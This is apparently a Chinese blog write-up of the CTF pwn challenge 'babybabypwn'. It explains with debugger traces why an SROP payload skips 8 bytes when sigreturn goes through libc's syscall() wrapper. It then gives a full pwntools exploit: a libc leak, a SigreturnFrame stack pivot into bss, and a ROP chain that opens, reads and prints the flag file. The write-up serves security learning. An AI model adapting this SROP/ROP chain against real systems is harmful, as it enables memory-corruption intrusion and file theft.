zoukankan      html  css  js  c++  java
  • [V&N2020 公开赛]babybabypwn

      写在开头,感谢“影二つ”师傅的指点。

      题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节。

      在看题目之前,先来学习一下call这个汇编指令。

      我个人理解call就是进入一个函数,但是执行完函数之后程序如何能够再返回执行call的下一条指令呢?答案是先把call下面的一条指令地址压入栈。我们来调试一下看看。

    1 int main()
    2 {
    3     write(1,"Hello,dear.
    ",0xc);
    4     return 0;
    5 }

      这里用gcc a.c -o a编译成可执行文件。

      用pwndbg进行调试。

       在没有call write之前,rbp和rsp都是指向0x7fffffffdab0的,call write下面的一条指令是mov eax,0,这条指令的地址是0x40053a,当单步步入进入call之后。

      可以看到rsp被抬高了,原因是将0x40053a压入栈了。

      当程序执行完call之后,栈又恢复到了执行call之前的样子。所以大概思路就理清楚了,在执行call之前,程序会将call的下一条指令压入栈,当执行到ret的时候,就又恢复到了原来的栈布局。


      接下来看一下这道题,这道题的sys_rt_sigreturn,走的并不是底层的系统调用。

      ida识别出来是call的syscall函数。

      这里的syscall,并不是系统调用的syscall,而是syscall函数。因为srop进行栈恢复的时候是根据rsp进行恢复的,这里进入syscall函数之后,rsp被提高了8个字节,所以在写payload的时候需要省去8个字节。

      还是动态调试跟进去看一下。

      这里可以看到,进入syscall函数之后,rsp也是被抬高了8个字节,而箭头所指的syscall,才是真正的系统调用,到这里,要省去前面的8个字节的问题就算是讲清楚了。

      剩下的就是一些常规的利用了,不过我还是第一次在libc的bss段写rop链。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 p.recvuntil(': ')
     9 libc_base = int(p.recvuntil('
    ')[:-1],16)-libc.symbols['puts']
    10 print 'libc_base-->'+hex(libc_base)
    11 write = libc_base+libc.symbols['write']
    12 read = libc_base+libc.symbols['read']
    13 open1 = libc_base+libc.symbols['open']
    14 pop_rdi = libc_base+0x21112
    15 pop_rsi = libc_base+0x202f8
    16 pop_rdx = libc_base+0x1b92
    17 bss = libc_base+libc.bss()+0x400
    18 
    19 sigframe = SigreturnFrame()
    20 sigframe.rdi = 0
    21 sigframe.rsi = bss
    22 sigframe.rdx = 0x200
    23 sigframe.rsp = bss
    24 sigframe.rip = read
    25 payload = str(sigframe)
    26 
    27 p.sendafter('message: ',payload[8:])
    28 
    29 payload = p64(pop_rdi)+p64(bss+0x98)+p64(pop_rsi)+p64(0)+p64(open1)
    30 payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(read)
    31 payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(write)+'flagx00'
    32 p.send(payload)
    33 print p.recv()
  • 相关阅读:
    正则表达式替换所有符合条件的字符
    关于jquery ajax不执行success回调函数
    关于jquery绑定事件执行两次
    同步选中所有checkbox
    Jquery动态改变my97datepicker的日期形式
    关于button在td中时,zclip复制不能的问题
    关于各种高度的获取方法
    慎用--skip-grant-tables命令
    Mysql中判断是否存在
    前端html
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14527653.html
Copyright © 2011-2022 走看看